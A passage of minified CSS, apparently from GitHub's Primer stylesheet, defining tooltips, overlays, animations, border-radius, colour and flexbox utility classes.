tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end 